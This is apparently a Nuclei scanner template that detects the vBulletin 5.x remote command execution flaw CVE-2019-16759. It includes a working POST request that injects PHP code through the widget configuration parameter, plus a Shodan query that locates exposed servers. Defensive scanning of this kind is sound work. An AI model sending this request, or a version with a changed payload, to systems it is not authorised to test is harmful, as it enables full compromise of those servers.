id: CVE-2019-16759 info: name: vBulletin 5.0.0-5.5.4 - Remote Command Execution author: madrobot severity: critical description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. remediation: | Upgrade vBulletin to a version that is not affected by CVE-2019-16759. reference: - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/ - https://seclists.org/fulldisclosure/2019/Sep/31 - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/ - https://nvd.nist.gov/vuln/detail/CVE-2019-16759 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-16759 cwe-id: CWE-94 epss-score: 0.97534 epss-percentile: 0.99992 cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: vbulletin product: vbulletin shodan-query: http.component:"vBulletin" tags: cve,cve2019,rce,kev,seclists,vbulletin http: - raw: - | POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B matchers-condition: and matchers: - type: word words: - "addcc9f9f2f40e2e6aca3079b73d9d17" - type: status status: - 200 # digest: 4a0a0047304502203e74a3201aabfc4ff585060e8e78878773aa01e2e8fdc5dee75bda9d4d97c2e8022100a6d3d06853a6a853bfd6dfc31a55fbd59a64fe694097e23343beee51d349e7a7:922c64590222798bb761d5b6d8e72950